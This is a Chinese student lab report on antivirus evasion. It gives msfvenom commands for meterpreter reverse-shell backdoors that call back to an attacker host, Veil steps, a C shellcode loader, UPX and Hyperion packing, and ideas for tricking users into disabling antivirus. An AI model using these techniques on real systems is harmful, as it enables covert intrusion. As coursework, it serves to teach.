2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令进行多次编码,生成.exe的后门程序

  • 放到windows系统中,360肯定是可以直接发现的,没有测试的必要

  • 使用virscan进行扫描,结果如下所示:

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的后门程序

  • 使用msfconsole回连成功 (没启动杀软)

  • 放到windows7系统中,杀软并发现它了,扫描没问题,但是运行会查杀

  • 使用virscan进行扫描,结果如下所示:

  • 检测率降低了,但没有实现免杀

2、使用veil-evasion生成后门程序

  • 安装veil-evasion(参考安装教程)
  • 在经过长时间尝试安装veil失败后,我直接安装了可用veil的kali机
  • 输入veil,启用veil

  • 输入use evasion,进入veil-evasion

  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式

  • 依次输入set LHOST 192.168.235.144和set LPORT 5212设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5212
  • 生成成功
  • 放到windows中,执行,msf成功监听3
  • 使用virscan进行扫描,结果如下所示:
  • 查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe编译运行后,测试其可用性

  • C语言代码如下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如图

  • 直接用.C交叉编译生成的exe文件复制到Windows中是无法运行的,错误提示BEX,是win下面类似堆栈保护的机制(但是UPX压索壳加密后可以运行可用回连;upx加壳后的exe再用hyperion加密壳加密后不可再win下面不可以运行,错误提示appcrash,这次原因不再是堆栈保护机制,而是编译C生成的EXE文件这么一层一层弄下来文件本身坏了)

  • upx加密的EXE成功连接

  • 使用virscan进行扫描,结果如下所示:
  • -上述3个exe程序无法实现免杀,扫描就凉了

任务二 通过组合应用各种技术实现恶意代码免杀

对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可执行文件加UPX压缩壳尝试实现免杀 被控机是Win7虚拟机,电脑杀软为360(最新版就这周安装的)

  • 使用virscan进行扫描,结果如下所示:
  • win7下360按位置查杀没有发现:
  • 但是尝试运行回连候会被杀出来,应该是压缩过后储存在硬盘上的代码被改变没有恶意代码的特征,但是运行的时候在行为像病毒木马所以被360查出来。也就是说,upx这个工具生成的后门,存储没问题,运行还不行。hyperion也是一样,甚至
  • 当然了,没开杀软或者信任之后回连成功
  • 所以,总结一下,后门程序、组合实现的shellcode存储免杀没问题,但是运行起来不行

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本项任务我自己的主机作为受害者,20165313张晨晖的kali作为坏人
  • 杀软版本:电脑管家13.0.19837.233,我在自己主机上启动的程序为半手工编译的shellcode经过upx和hyperion加壳的。结果如图

三、实验中遇到的问题

  • 在安装运行Veil-Evasion时,遇到很多错,很棘手

    • 解决过程: 更换新版本的kali机
  • C交叉编译生成的exe文件、hyperion加密壳生成的exe文件在win7下无法执行。

    • 这个问题其实没有解决,我大致找到了原因:前者是因为“机器码恶意太明显”,win7下有类似堆栈保护的机制,叫“数据执行保护DEP”(错误代码BEX),并且我无法为我的后门程序免除DEP;后者应该是因为一层层编译加壳下来文件本身产生了变化(错误代码APPCRASH),ntdll内核模块出错,我尝试按网上的步骤修改,结果那个虚拟机坏了。使得程序本身无法启动。

四、实验总结

1、基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • (2)免杀是做什么?
    • 我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
  • (3)免杀的基本方法有哪些?

    • 1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

  • 结合我身边同学的实际情况来看,如果在windows&360开启的条件下,运行后门程序没有一个成功的(有的运行了几分钟之后才被查杀,但那不算成功吧),为了最后一个任务,我不得不去找了一台装有腾讯电脑管家的电脑去做实验,并且运行没有发现。据我所知,360的病毒库是和卡巴斯基通用的,这两大家安全公司,要是我们简单的学了几个小时复制粘贴几个指令就能逃过去岂不是有些荒唐...

3、离实战还缺少的技术或步骤

  • 目前我们的水平很难弄出能在360眼皮底下运行的后门(我所知道的可以运行的坚持不过几分钟),所以必须要考虑“人为因素”,对计算机使用者进行诱导,使其主动去关闭360或者对我们的后门程序添加信任,也就意味着我们需要对后门程序进行包装,比如把shellcode写进word、QQ等程序里,使操作者对伪装的后门程序没有戒备。还有一种思路:既然后门程序可以安全的存储在硬盘上,那我就可以在弄一个程序去监视计算机的进程,监视到360退出了,这时候去唤醒后门程序

2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. windows7 asp.net发布IIS 拒绝访问 解决方法

    在windows7中打开DNN网站有以下问题: CS0016: 未能写入输出文件“c:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP ...

  2. eclipse 里,打开的文件的各个标签,标题乱码。

    Eclipse Mars 版本有这个问题. 提交到社区了,也还是没有人回答.Eclipse看来是没落了. https://www.eclipse.org/forums/index.php/t/1072 ...

  3. codeforces 516c// Drazil and Park// Codeforces Round #292(Div. 1)

    题意:一个圆环上有树,猴子上下其中一棵树,再沿着换跑,再上下另一棵树.给出一个区间,问最大的运动距离是. 给出区间大小dst,和数高数组arr. 设区间[x,y],a[x]=2*arr[x]+dst[ ...

  4. [HEOI2012]采花

    第一眼以为是树套树qwq 然而n,m<=1e6 记上一个与i颜色相同的位置为nxt[i] 考虑i和nxt[i]会对那些询问产生贡献. 发现当右端点R>=i时, 左端点只要满足nxt[nxt ...

  5. Jamie and Binary Sequence (changed after round) CodeForces - 916B (贪心)

    链接 大意: 求将n划分为k个2的幂的和, 且最大幂最小,字典序尽量大 比较简单的贪心练习题, 但放在div2的B题感觉偏难了..... 先只考虑最大幂最小, 首先注意到直接按n的二进制划分即可得到最 ...

  6. Dynamic Web Module 3.1 requires Java 1.7 or newer. 错误解决方案

    在写代码的时候工程出现了这样奇怪的bug很是蛋疼啊,经过查询解决方法,终于解决了这些个问题. 下面是解决问题的方法,和大家分享一下 (1)确定你的java工程配置使用了java 7 右键单击你的工程p ...

  7. 『OpenCV3』Harris角点特征_API调用及python手动实现

    一.OpenCV接口调用示意 介绍了OpenCV3中提取图像角点特征的函数: # coding=utf- import cv2 import numpy as np '''Harris算法角点特征提取 ...

  8. Oracle11g温习-第七章:redo日志

      2013年4月27日 星期六 10:33 1.redo (重做) log 的功能:        用于数据恢复   2.redo log 特征: [特征]: 1)   记录数据块的变化(DML.D ...

  9. OAF开发中一些LOV相关技巧 (转)

    原文地址:OAF开发中一些LOV相关技巧 在OAF开发中,LOV的使用频率是很高的,它由两部分构成一是页面上的LOV输入框(如OAMESSageLovInputBean),二是弹出的LOV模式窗口(O ...

  10. web前端切图处理

    技巧: 一. 如何在 Retina 屏幕的设备使用更高分辨率的图片 以 MacBook Pro 为例,它的标准分辨率高达 2560 x 1600,但是如果真的以这个分辨率显示网页,网页的有效区域就小的 ...